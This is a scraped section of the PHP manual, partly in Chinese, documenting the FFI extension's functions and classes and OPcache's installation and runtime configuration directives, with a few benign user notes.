Fills a memory area

  • ? FFI::memcpy
  • FFI::new ?
  • PHP Manual
  • FFI
  • Fills a memory area

FFI::memset

(PHP 7 >= 7.4.0, PHP 8)

FFI::memset — Fills a memory area

说明

public static FFI::memset(FFI\CData &$ptr, int $value, int $size): void

Fills size bytes of the memory area pointed to by ptr with the given byte value.

参数

ptr

The start of the memory area to fill.

value

The byte to fill with.

size

The number of bytes to fill.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Creates a C data structure

  • ? FFI::memset
  • FFI::scope ?
  • PHP Manual
  • FFI
  • Creates a C data structure

FFI::new

(PHP 7 >= 7.4.0, PHP 8)

FFI::new — Creates a C data structure

说明

public static FFI::new(FFI\CType|string $type, bool $owned = true, bool $persistent = false): ?FFI\CData
public FFI::new(FFI\CType|string $type, bool $owned = true, bool $persistent = false): ?FFI\CData

Creates a native data structure of the given C type. If this method is called statically, it must only use predefined C type names (e.g. int, char, etc.); if the method is called as instance method, any type declared for the instance is allowed.

参数

type

type is a valid C declaration as string, or an instance of FFI\CType which has already been created.

owned

Whether to create owned (i.e. managed) or unmanaged data. Managed data lives together with the returned FFI\CData object, and is released when the last reference to that object is released by regular PHP reference counting or GC. Unmanaged data should be released by calling FFI::free(), when no longer needed.

persistent

Whether to allocate the C data structure permanently on the system heap (using malloc()), or on the PHP request heap (using emalloc()).

返回值

Returns the freshly created FFI\CData object, or null on failure.

User Contributed Notes

baminazad at cs dot stonybrook dot edu 18-Dec-2019 08:30
Let's assume we have a C struct:
typedef struct _Z3_ast *Z3_ast;

and we want to create an array:
Z3_ast args[2];

and assign values:
args[1] = x;
args[1] = y;

The PHP FFI equivalent would be:
<?php
$ffi = FFI::cdef(...
// Create Z3_ast[2] type
$arg_type = FFI::arrayType($ffi->type('Z3_ast'), [2]);
// Create array of type Z3_ast[2]
$args = FFI::new($arg_type);
// Populate the array
$args[0] = $x;
$args[1] = $y;
?>


Instantiates an FFI object with C declarations parsed during preloading

  • ? FFI::new
  • FFI::sizeof ?
  • PHP Manual
  • FFI
  • Instantiates an FFI object with C declarations parsed during preloading

FFI::scope

(PHP 7 >= 7.4.0, PHP 8)

FFI::scope — Instantiates an FFI object with C declarations parsed during preloading

说明

public static FFI::scope(string $name): FFI

Instantiates an FFI object with C declarations parsed during preloading.

The FFI::scope() method is safe to call multiple times for the same scope. Multiple references to the same scope may be loaded at the same time.

参数

name

The scope name defined by a special FFI_SCOPE define.

返回值

Returns the freshly created FFI object.

参见

  • FFI::load() - Loads C declarations from a C header file

User Contributed Notes

mh at hanft dot de 21-Oct-2023 02:12
I have found out that FFI::scope only works with Apache when you select Apache's threading model "prefork".  Using any other threading model results in "scope not found" (and you have to use FFI::load instead because preloading seems not to be possible in this case).


Gets the size of C data or types

  • ? FFI::scope
  • FFI::string ?
  • PHP Manual
  • FFI
  • Gets the size of C data or types

FFI::sizeof

(PHP 7 >= 7.4.0, PHP 8)

FFI::sizeof — Gets the size of C data or types

说明

public static FFI::sizeof(FFI\CData|FFI\CType &$ptr): int

Returns the size of the given FFI\CData or FFI\CType object.

参数

ptr

The handle of the C data or type.

返回值

The size of the memory area pointed at by ptr.

User Contributed Notes

wowabbs+php at gmail dot com 12-Dec-2020 03:17
<?php // Sample using sizeof
    Function _Win_Ffi_GlobalMemoryStatus()
    {
      static $Kernel32, $a, $r;
      $Kernel32??=FFI::cdef(<<<'IDL'
        typedef struct _MemoryStatus {
          uint32_t Length        ;
          uint32_t MemoryLoad    ;
          uint64_t TotalPhys     ;
          uint64_t AvailPhys     ;
          uint64_t TotalPageFile ;
          uint64_t AvailPageFile ;
          uint64_t TotalVirtual  ;
          uint64_t AvailVirtual  ;
        } MemoryStatus;
        void GlobalMemoryStatus(MemoryStatus* buf);
       IDL, 'Kernel32.dll');
      $a??=$Kernel32->new('MemoryStatus');
      $a->Length =$Kernel32::sizeof($Kernel32->type('MemoryStatus'));
      $r??=FFI::addr($a);
      $Kernel32->GlobalMemoryStatus($r);
      return [
        'Total' =>$a->TotalPhys,
        'Free'  =>$a->TotalPhys-$a->AvailPhys,
        'Load'  =>$a->MemoryLoad*0.01,
      ];
    }
?>


Creates a PHP string from a memory area

  • ? FFI::sizeof
  • FFI::type ?
  • PHP Manual
  • FFI
  • Creates a PHP string from a memory area

FFI::string

(PHP 7 >= 7.4.0, PHP 8)

FFI::string — Creates a PHP string from a memory area

说明

public static FFI::string(FFI\CData &$ptr, ?int $size = null): string

Creates a PHP string from size bytes of the memory area pointed to by ptr.

参数

ptr

The start of the memory area from which to create a string.

size

The number of bytes to copy to the string. If size is omitted or null, ptr must be a zero terminated array of C char.

返回值

The freshly created PHP string.

更新日志

版本 | 说明
8.0.0 | size is nullable now; previously, its default was 0.

User Contributed Notes

There are no user contributed notes for this page.


Creates an FFI\CType object from a C declaration

  • ? FFI::string
  • FFI::typeof ?
  • PHP Manual
  • FFI
  • Creates an FFI\CType object from a C declaration

FFI::type

(PHP 7 >= 7.4.0, PHP 8)

FFI::type — Creates an FFI\CType object from a C declaration

说明

public static FFI::type(string $type): ?FFI\CType
public FFI::type(string $type): ?FFI\CType

This function creates and returns a FFI\CType object for the given string containing a C type declaration. If this method is called statically, it must only use predefined C type names (e.g. int, char, etc.); if the method is called as instance method, any type declared for the instance is allowed.

参数

type

A valid C declaration as string.

返回值

Returns the freshly created FFI\CType object, or null on failure.

User Contributed Notes

There are no user contributed notes for this page.


Gets the FFI\CType of FFI\CData

  • ? FFI::type
  • FFI\CData ?
  • PHP Manual
  • FFI
  • Gets the FFI\CType of FFI\CData

FFI::typeof

(PHP 7 >= 7.4.0, PHP 8)

FFI::typeof — Gets the FFI\CType of FFI\CData

说明

public static FFI::typeof(FFI\CData &$ptr): FFI\CType

Gets the FFI\CType object representing the type of the given FFI\CData object.

参数

ptr

The handle of the pointer to a C data structure.

返回值

Returns the FFI\CType object representing the type of the given FFI\CData object.

User Contributed Notes

There are no user contributed notes for this page.


C Data Handles

(PHP 7 >= 7.4.0, PHP 8)

简介

FFI\CData objects can be used in a number of ways as a regular PHP data:

  • C data of scalar types can be read and assigned via the $cdata property, e.g. $x = FFI::new('int'); $x->cdata = 42;
  • C struct and union fields can be accessed as regular PHP object property, e.g. $cdata->field
  • C array elements can be accessed as regular PHP array elements, e.g. $cdata[$offset]
  • C arrays can be iterated using foreach statements.
  • C arrays can be used as arguments of count().
  • C pointers can be dereferenced as arrays, e.g. $cdata[0]
  • C pointers can be compared using regular comparison operators (<, <=, ==, !=, >=, >).
  • C pointers can be incremented and decremented using regular +/-/ ++/-- operations, e.g. $cdata += 5
  • C pointers can be subtracted from another using regular - operations.
  • C pointers to functions can be called as a regular PHP closure, e.g. $cdata()
  • Any C data can be duplicated using the clone operator, e.g. $cdata2 = clone $cdata;
  • Any C data can be visualized using var_dump(), print_r(), etc.

Note: Notable limitations are that FFI\CData instances do not support isset(), empty() and unset(), and that wrapped C structs and unions do not implement Traversable.

类摘要

final class FFI\CData {
}

User Contributed Notes

There are no user contributed notes for this page.


C Type Handles

(PHP 7 >= 7.4.0, PHP 8)

简介

类摘要

final class FFI\CType {
/* 常量 */
public const int TYPE_VOID;
public const int TYPE_FLOAT;
public const int TYPE_DOUBLE;
public const int TYPE_LONGDOUBLE;
public const int TYPE_UINT8;
public const int TYPE_SINT8;
public const int TYPE_UINT16;
public const int TYPE_SINT16;
public const int TYPE_UINT32;
public const int TYPE_SINT32;
public const int TYPE_UINT64;
public const int TYPE_SINT64;
public const int TYPE_ENUM;
public const int TYPE_BOOL;
public const int TYPE_CHAR;
public const int TYPE_POINTER;
public const int TYPE_FUNC;
public const int TYPE_ARRAY;
public const int TYPE_STRUCT;
public const int ATTR_CONST;
public const int ATTR_INCOMPLETE_TAG;
public const int ATTR_VARIADIC;
public const int ATTR_INCOMPLETE_ARRAY;
public const int ATTR_VLA;
public const int ATTR_UNION;
public const int ATTR_PACKED;
public const int ATTR_MS_STRUCT;
public const int ATTR_GCC_STRUCT;
public const int ABI_DEFAULT;
public const int ABI_CDECL;
public const int ABI_FASTCALL;
public const int ABI_THISCALL;
public const int ABI_STDCALL;
public const int ABI_PASCAL;
public const int ABI_REGISTER;
public const int ABI_MS;
public const int ABI_SYSV;
public const int ABI_VECTORCALL;
/* 方法 */
public getAlignment(): int
public getArrayElementType(): FFI\CType
public getArrayLength(): int
public getAttributes(): int
public getEnumKind(): int
public getFuncABI(): int
public getFuncParameterCount(): int
public getFuncParameterType(int $index): FFI\CType
public getFuncReturnType(): FFI\CType
public getKind(): int
public getName(): string
public getPointerType(): FFI\CType
public getSize(): int
public getStructFieldNames(): array
public getStructFieldOffset(string $name): int
public getStructFieldType(string $name): FFI\CType
}

预定义常量

FFI\CType::TYPE_VOID

FFI\CType::TYPE_FLOAT

FFI\CType::TYPE_DOUBLE

FFI\CType::TYPE_LONGDOUBLE

FFI\CType::TYPE_UINT8

FFI\CType::TYPE_SINT8

FFI\CType::TYPE_UINT16

FFI\CType::TYPE_SINT16

FFI\CType::TYPE_UINT32

FFI\CType::TYPE_SINT32

FFI\CType::TYPE_UINT64

FFI\CType::TYPE_SINT64

FFI\CType::TYPE_ENUM

FFI\CType::TYPE_BOOL

FFI\CType::TYPE_CHAR

FFI\CType::TYPE_POINTER

FFI\CType::TYPE_FUNC

FFI\CType::TYPE_ARRAY

FFI\CType::TYPE_STRUCT

FFI\CType::ATTR_CONST

FFI\CType::ATTR_INCOMPLETE_TAG

FFI\CType::ATTR_VARIADIC

FFI\CType::ATTR_INCOMPLETE_ARRAY

FFI\CType::ATTR_VLA

FFI\CType::ATTR_UNION

FFI\CType::ATTR_PACKED

FFI\CType::ATTR_MS_STRUCT

FFI\CType::ATTR_GCC_STRUCT

FFI\CType::ABI_DEFAULT

FFI\CType::ABI_CDECL

FFI\CType::ABI_FASTCALL

FFI\CType::ABI_THISCALL

FFI\CType::ABI_STDCALL

FFI\CType::ABI_PASCAL

FFI\CType::ABI_REGISTER

FFI\CType::ABI_MS

FFI\CType::ABI_SYSV

FFI\CType::ABI_VECTORCALL

Table of Contents

  • FFI\CType::getAlignment — Description
  • FFI\CType::getArrayElementType — Description
  • FFI\CType::getArrayLength — Description
  • FFI\CType::getAttributes — Description
  • FFI\CType::getEnumKind — Description
  • FFI\CType::getFuncABI — Description
  • FFI\CType::getFuncParameterCount — Description
  • FFI\CType::getFuncParameterType — Description
  • FFI\CType::getFuncReturnType — Description
  • FFI\CType::getKind — Description
  • FFI\CType::getName — Description
  • FFI\CType::getPointerType — Description
  • FFI\CType::getSize — Description
  • FFI\CType::getStructFieldNames — Description
  • FFI\CType::getStructFieldOffset — Description
  • FFI\CType::getStructFieldType — Description

User Contributed Notes

scorninpc at php dot net 03-Jan-2020 09:33
You can compare CTypes if you want to know if the type are correct

\FFI::typeof(\FFI::addr($a)) == \FFI::typeof(\FFI::new("void *"))

CType need some methods, like equal() or toString(), but .....


Description

  • ? FFI\CType
  • FFI\CType::getArrayElementType ?
  • PHP Manual
  • FFI\CType
  • Description

FFI\CType::getAlignment

(PHP 8 >= 8.1.0)

FFI\CType::getAlignment — Description

说明

public FFI\CType::getAlignment(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? FFI\CType::getAlignment
  • FFI\CType::getArrayLength ?
  • PHP Manual
  • FFI\CType
  • Description

FFI\CType::getArrayElementType

(PHP 8 >= 8.1.0)

FFI\CType::getArrayElementType — Description

说明

public FFI\CType::getArrayElementType(): FFI\CType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? FFI\CType::getArrayElementType
  • FFI\CType::getAttributes ?
  • PHP Manual
  • FFI\CType
  • Description

FFI\CType::getArrayLength

(PHP 8 >= 8.1.0)

FFI\CType::getArrayLength — Description

说明

public FFI\CType::getArrayLength(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? FFI\CType::getArrayLength
  • FFI\CType::getEnumKind ?
  • PHP Manual
  • FFI\CType
  • Description

FFI\CType::getAttributes

(PHP 8 >= 8.1.0)

FFI\CType::getAttributes — Description

说明

public FFI\CType::getAttributes(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? FFI\CType::getAttributes
  • FFI\CType::getFuncABI ?
  • PHP Manual
  • FFI\CType
  • Description

FFI\CType::getEnumKind

(PHP 8 >= 8.1.0)

FFI\CType::getEnumKind — Description

说明

public FFI\CType::getEnumKind(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? FFI\CType::getEnumKind
  • FFI\CType::getFuncParameterCount ?
  • PHP Manual
  • FFI\CType
  • Description

FFI\CType::getFuncABI

(PHP 8 >= 8.1.0)

FFI\CType::getFuncABI — Description

说明

public FFI\CType::getFuncABI(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? FFI\CType::getFuncABI
  • FFI\CType::getFuncParameterType ?
  • PHP Manual
  • FFI\CType
  • Description

FFI\CType::getFuncParameterCount

(PHP 8 >= 8.1.0)

FFI\CType::getFuncParameterCount — Description

说明

public FFI\CType::getFuncParameterCount(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? FFI\CType::getFuncParameterCount
  • FFI\CType::getFuncReturnType ?
  • PHP Manual
  • FFI\CType
  • Description

FFI\CType::getFuncParameterType

(PHP 8 >= 8.1.0)

FFI\CType::getFuncParameterType — Description

说明

public FFI\CType::getFuncParameterType(int $index): FFI\CType

Warning

本函数还未编写文档，仅有参数列表。

参数

index

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? FFI\CType::getFuncParameterType
  • FFI\CType::getKind ?
  • PHP Manual
  • FFI\CType
  • Description

FFI\CType::getFuncReturnType

(PHP 8 >= 8.1.0)

FFI\CType::getFuncReturnType — Description

说明

public FFI\CType::getFuncReturnType(): FFI\CType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? FFI\CType::getFuncReturnType
  • FFI\CType::getName ?
  • PHP Manual
  • FFI\CType
  • Description

FFI\CType::getKind

(PHP 8 >= 8.1.0)

FFI\CType::getKind — Description

说明

public FFI\CType::getKind(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? FFI\CType::getKind
  • FFI\CType::getPointerType ?
  • PHP Manual
  • FFI\CType
  • Description

FFI\CType::getName

(PHP 7 >= 7.4.0, PHP 8)

FFI\CType::getName — Description

说明

public FFI\CType::getName(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? FFI\CType::getName
  • FFI\CType::getSize ?
  • PHP Manual
  • FFI\CType
  • Description

FFI\CType::getPointerType

(PHP 8 >= 8.1.0)

FFI\CType::getPointerType — Description

说明

public FFI\CType::getPointerType(): FFI\CType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? FFI\CType::getPointerType
  • FFI\CType::getStructFieldNames ?
  • PHP Manual
  • FFI\CType
  • Description

FFI\CType::getSize

(PHP 8 >= 8.1.0)

FFI\CType::getSize — Description

说明

public FFI\CType::getSize(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? FFI\CType::getSize
  • FFI\CType::getStructFieldOffset ?
  • PHP Manual
  • FFI\CType
  • Description

FFI\CType::getStructFieldNames

(PHP 8 >= 8.1.0)

FFI\CType::getStructFieldNames — Description

说明

public FFI\CType::getStructFieldNames(): array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? FFI\CType::getStructFieldNames
  • FFI\CType::getStructFieldType ?
  • PHP Manual
  • FFI\CType
  • Description

FFI\CType::getStructFieldOffset

(PHP 8 >= 8.1.0)

FFI\CType::getStructFieldOffset — Description

说明

public FFI\CType::getStructFieldOffset(string $name): int

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? FFI\CType::getStructFieldOffset
  • FFI\Exception ?
  • PHP Manual
  • FFI\CType
  • Description

FFI\CType::getStructFieldType

(PHP 8 >= 8.1.0)

FFI\CType::getStructFieldType — Description

说明

public FFI\CType::getStructFieldType(string $name): FFI\CType

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


FFI Exceptions

(PHP 7 >= 7.4.0, PHP 8)

简介

类摘要

class FFI\Exception extends Error {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


FFI Parser Exceptions

(PHP 7 >= 7.4.0, PHP 8)

简介

类摘要

final class FFI\ParserException extends FFI\Exception {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


OPcache

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预加载
  • OPcache 函数
    • opcache_compile_file — 无需运行，即可编译并缓存 PHP 脚本
    • opcache_get_configuration — 获取缓存的配置信息
    • opcache_get_status — 获取缓存的状态信息
    • opcache_invalidate — 废除脚本缓存
    • opcache_is_script_cached — Tells whether a script is cached in OPCache
    • opcache_reset — 重置字节码缓存的内容

User Contributed Notes

There are no user contributed notes for this page.


简介

OPcache 通过将 PHP 脚本预编译的字节码存储到共享内存中来提升 PHP 的性能， 存储预编译字节码的好处就是 省去了每次加载和解析 PHP 脚本的开销。

PHP 5.5.0 及后续版本中已经绑定了 OPcache 扩展。 对于 PHP 5.2，5.3 和 5.4 版本可以使用 » PECL 扩展中的 OPcache 库。

User Contributed Notes

There are no user contributed notes for this page.


安装

OPcache 只能编译为共享扩展。 如果你使用 --disable-all 参数 禁用了默认扩展的构建， 那么必须使用 --enable-opcache 选项来开启 OPcache。

编译之后，就可以使用 zend_extension 指令来将 OPcache 扩展加载到 PHP 中。在非 Windows 平台使用 zend_extension=/full/path/to/opcache.so， Windows 平台使用 zend_extension=C:\path\to\php_opcache.dll。

Note:

如果想将 » Xdebug 与 OPcache 一起使用，必须在 Xdebug 之前加载 OPcache。

推荐的 php.ini 设置

使用下列推荐设置来获得较好的 性能：

opcache.memory_consumption=128
opcache.interned_strings_buffer=8
opcache.max_accelerated_files=4000
opcache.revalidate_freq=60
opcache.fast_shutdown=1
opcache.enable_cli=1 ; prior to PHP 7.2.0

你也可以禁用 opcache.save_comments 并且启用 opcache.enable_file_override。 需要提醒的是，在生产环境中使用上述配置之前，必须经过严格测试。 因为上述配置存在一个已知问题，它会引发一些框架和应用的异常， 尤其是在存在文档使用了备注注解的时候。

在 Windows 上，应该启用 opcache.file_cache_fallback，以及应该将 opcache.file_cache 设置为存在且可写的目录。

这里是 OPcache 可用的配置指令完整列表。

User Contributed Notes

stchr 03-Mar-2021 08:09
Please note that opcache.fast_shutdown was removed in PHP 7.2
NoiseEee 06-Mar-2014 04:34
While the "suggested" opcache settings for php.ini might be appropriate for a production server, you're going to want to change several while you're developing, or you're not going to see any changes to your code. Get familiar with what they mean before blindly pasting that into php.ini and assuming things are going to work well.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

OPcache 配置选项
名字 | 默认 | 可修改范围 | 更新日志
opcache.enable | "1" | PHP_INI_ALL |
opcache.enable_cli | "0" | PHP_INI_SYSTEM | 在 PHP 7.1.2 至 7.1.6（含）的版本，默认值是"1"
opcache.memory_consumption | "128" | PHP_INI_SYSTEM |
opcache.interned_strings_buffer | "8" | PHP_INI_SYSTEM |
opcache.max_accelerated_files | "10000" | PHP_INI_SYSTEM |
opcache.max_wasted_percentage | "5" | PHP_INI_SYSTEM |
opcache.use_cwd | "1" | PHP_INI_SYSTEM |
opcache.validate_timestamps | "1" | PHP_INI_ALL |
opcache.revalidate_freq | "2" | PHP_INI_ALL |
opcache.revalidate_path | "0" | PHP_INI_ALL |
opcache.save_comments | "1" | PHP_INI_SYSTEM |
opcache.fast_shutdown | "0" | PHP_INI_SYSTEM | 从 PHP 7.2.0 开始被移除
opcache.enable_file_override | "0" | PHP_INI_SYSTEM |
opcache.optimization_level | "0x7FFEBFFF" | PHP_INI_SYSTEM | 从 PHP 7.3.0 起修改为 0x7FFFBFFF
opcache.inherited_hack | "1" | PHP_INI_SYSTEM | 自 PHP 7.3.0 被移除
opcache.dups_fix | "0" | PHP_INI_ALL |
opcache.blacklist_filename | "" | PHP_INI_SYSTEM |
opcache.max_file_size | "0" | PHP_INI_SYSTEM |
opcache.consistency_checks | "0" | PHP_INI_ALL | 自 8.1.18 和 8.2.5 起禁用。从 PHP 8.3.0 起已删除。
opcache.force_restart_timeout | "180" | PHP_INI_SYSTEM |
opcache.error_log | "" | PHP_INI_SYSTEM |
opcache.log_verbosity_level | "1" | PHP_INI_SYSTEM |
opcache.record_warnings | "0" | PHP_INI_SYSTEM | 自 PHP 8.0.0 起有效
opcache.preferred_memory_model | "" | PHP_INI_SYSTEM |
opcache.protect_memory | "0" | PHP_INI_SYSTEM |
opcache.mmap_base | null | PHP_INI_SYSTEM |
opcache.restrict_api | "" | PHP_INI_SYSTEM |
opcache.file_update_protection | "2" | PHP_INI_ALL |
opcache.huge_code_pages | "0" | PHP_INI_SYSTEM |
opcache.lockfile_path | "/tmp" | PHP_INI_SYSTEM |
opcache.opt_debug_level | "0" | PHP_INI_SYSTEM | 自 PHP 7.1.0 起有效
opcache.file_cache | NULL | PHP_INI_SYSTEM |
opcache.file_cache_only | "0" | PHP_INI_SYSTEM |
opcache.file_cache_consistency_checks | "1" | PHP_INI_SYSTEM |
opcache.file_cache_fallback | "1" | PHP_INI_SYSTEM | 仅适用于 Windows 平台
opcache.validate_permission | "0" | PHP_INI_SYSTEM | 从 PHP 7.0.14 开始支持
opcache.validate_root | "0" | PHP_INI_SYSTEM | 从 PHP 7.0.14 开始支持
opcache.preload | "" | PHP_INI_SYSTEM | 从 PHP 7.4.0 开始支持
opcache.preload_user | "" | PHP_INI_SYSTEM | 从 PHP 7.4.0 开始支持
opcache.cache_id | "" | PHP_INI_SYSTEM | 仅支持 Windows。自 PHP 7.4.0 起有效
opcache.jit | "tracing" | PHP_INI_ALL | 自 PHP 8.0.0 起有效
opcache.jit_buffer_size | "0" | PHP_INI_SYSTEM | 自 PHP 8.0.0 起有效
opcache.jit_debug | "0" | PHP_INI_ALL | 自 PHP 8.0.0 起有效
opcache.jit_bisect_limit | "0" | PHP_INI_ALL | 自 PHP 8.0.0 起有效
opcache.jit_prof_threshold | "0.005" | PHP_INI_ALL | 自 PHP 8.0.0 起有效
opcache.jit_max_root_traces | "1024" | PHP_INI_SYSTEM | 自 PHP 8.0.0 起有效
opcache.jit_max_side_traces | "128" | PHP_INI_SYSTEM | 自 PHP 8.0.0 起有效
opcache.jit_max_exit_counters | "8192" | PHP_INI_SYSTEM | 自 PHP 8.0.0 起有效
opcache.jit_hot_loop | "64" | PHP_INI_SYSTEM | 自 PHP 8.0.0 起有效
opcache.jit_hot_func | "127" | PHP_INI_SYSTEM | 自 PHP 8.0.0 起有效
opcache.jit_hot_return | "8" | PHP_INI_SYSTEM | 自 PHP 8.0.0 起有效
opcache.jit_hot_side_exit | "8" | PHP_INI_SYSTEM | 自 PHP 8.0.0 起有效
opcache.jit_blacklist_root_trace | "16" | PHP_INI_ALL | 自 PHP 8.0.0 起有效
opcache.jit_blacklist_side_trace | "8" | PHP_INI_ALL | 自 PHP 8.0.0 起有效
opcache.jit_max_loop_unrolls | "8" | PHP_INI_ALL | 自 PHP 8.0.0 起有效
opcache.jit_max_recursive_calls | "2" | PHP_INI_ALL | 自 PHP 8.0.0 起有效
opcache.jit_max_recursive_returns | "2" | PHP_INI_ALL | 自 PHP 8.0.0 起有效
opcache.jit_max_polymorphic_calls | "2" | PHP_INI_ALL | 自 PHP 8.0.0 起有效
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

opcache.enable bool

启用操作码缓存。如果禁用此选项，则不会优化和缓存代码。 在运行期使用 ini_set() 函数只能禁用 opcache.enable 设置，不可以启用此设置。 如果在脚本中尝试启用此设置项会产生警告。

opcache.enable_cli bool

仅针对 CLI 版本的 PHP 启用操作码缓存。 通常被用来测试和调试。

opcache.memory_consumption int

OPcache 的共享内存大小，以兆字节为单位。最小允许值为 "8"。如果设置的值小于最小值，则强制设置为允许的最小值。

opcache.interned_strings_buffer int

用来存储预留字符串的内存大小，以兆字节为单位。

opcache.max_accelerated_files int

OPcache 哈希表中可存储的脚本文件数量上限。真实的取值是在质数集合{ 223, 463, 983, 1979, 3907, 7963, 16229, 32531, 65407, 130987, 262237, 524521, 1048793 } 中找到的第一个大于等于设置值的质数。设置值取值范围最小值是 200，最大值是 1000000。超出范围的值将限制为允许的值。

opcache.max_wasted_percentage int

如果可用内存不足，在计划重新启动之前，允许浪费的最大内存百分比。最大允许值是 "50"，如果设置了更大的值，则强制设置为允许的最大值。

opcache.use_cwd bool

如果启用，OPcache 将在哈希表的脚本键之后附加改脚本的工作目录， 以避免同名脚本冲突的问题。 禁用此选项可以提高性能，但是可能会导致应用崩溃。

opcache.validate_timestamps bool

如果启用，那么 OPcache 会每隔 opcache.revalidate_freq 设定的秒数 检查脚本是否更新。 如果禁用此选项，你必须使用 opcache_reset() 或者 opcache_invalidate() 函数来手动重置 OPcache，也可以 通过重启 Web 服务器来使文件系统更改生效。

Note: 如果将 opcache.file_update_protection 或 opcache.max_file_size 选项设置为非零值，OPcache 仍可能在编译时验证文件的时间戳。

opcache.revalidate_freq int

检查脚本时间戳是否有更新的周期，以秒为单位。 设置为 0 会导致针对每个请求， OPcache 都会检查脚本更新。

如果 opcache.validate_timestamps 配置指令设置为禁用，那么此设置项将会被忽略。

opcache.revalidate_path bool

如果禁用此选项，在同一个 include_path 已存在的缓存文件会被重用。 因此，将无法找到不在包含路径下的同名文件。

opcache.save_comments bool

如果禁用，脚本文件中的注释内容将不会被包含到操作码缓存文件， 这样可以有效减小优化后的文件体积。 禁用此配置指令可能会导致一些依赖注释或注解的 应用或框架无法正常工作， 比如： Doctrine， Zend Framework 2 以及 PHPUnit。

opcache.fast_shutdown bool

如果启用，则会使用快速停止续发事件。 所谓快速停止续发事件是指依赖 Zend 引擎的内存管理模块 一次释放全部请求变量的内存，而不是依次释放每一个已分配的内存块。

从 PHP 7.2.0 开始，此配置指令被移除。 快速停止的续发事件的处理已经集成到 PHP 中， 只要有可能，PHP 会自动处理这些续发事件。

opcache.enable_file_override bool

如果启用，则在调用函数 file_exists()， is_file() 以及 is_readable() 的时候， 都会检查操作码缓存，无论文件是否已经被缓存。 如果应用中包含检查 PHP 脚本存在性和可读性的功能，这样可以提升性能。 但是如果禁用了 opcache.validate_timestamps 选项， 可能存在返回过时数据的风险。

opcache.optimization_level int

控制执行哪些优化的二进制位掩码。默认是应用所有安全优化。更改默认值对于调试/开发优化器非常有用（参见 opcache.opt_debug_level）。

opcache.inherited_hack bool

该配置指令已被忽略。

opcache.dups_fix bool

仅作为针对 "不可重定义类"错误的一种解决方案。

opcache.blacklist_filename string

OPcache 黑名单文件位置。 黑名单文件为文本文件，包含了不进行预编译优化的文件名，每行一个文件名。 黑名单中的文件名可以使用通配符，也可以使用前缀。 此文件中以分号（;）开头的行将被视为注释。

简单的黑名单文件可能如下所示：

; 将特定文件加入到黑名单
/var/www/broken.php
; 以字符 x 文件打头的文件
/var/www/x
; 通配符匹配
/var/www/*-broken.php
opcache.max_file_size int

以字节为单位的缓存的文件大小上限。设置为 0 表示缓存全部文件。

opcache.consistency_checks int

如果是非 0 值，OPcache 将会每隔 N 次请求检查缓存校验和。 N 即为此配置指令的设置值。 由于此选项对于性能有较大影响，请尽在调试环境使用。

Note:

自 8.1.18 和 8.2.5 起禁用。从 PHP 8.3.0 起已删除。

opcache.force_restart_timeout int

如果缓存处于非激活状态，等待多少秒之后计划重启。 如果超出了设定时间，则 OPcache 模块将杀除持有缓存锁的进程， 并进行重启。

如果选项 opcache.log_verbosity_level 设置为 2 或者 2 以上的数值，当发生重启时将在日志中记录一条警告信息。

Windows 不支持该指令。

opcache.error_log string

OPcache 模块的错误日志文件。 如果留空，则视为 stderr， 错误日志将被送往标准错误输出 （通常情况下是 Web 服务器的错误日志文件）。

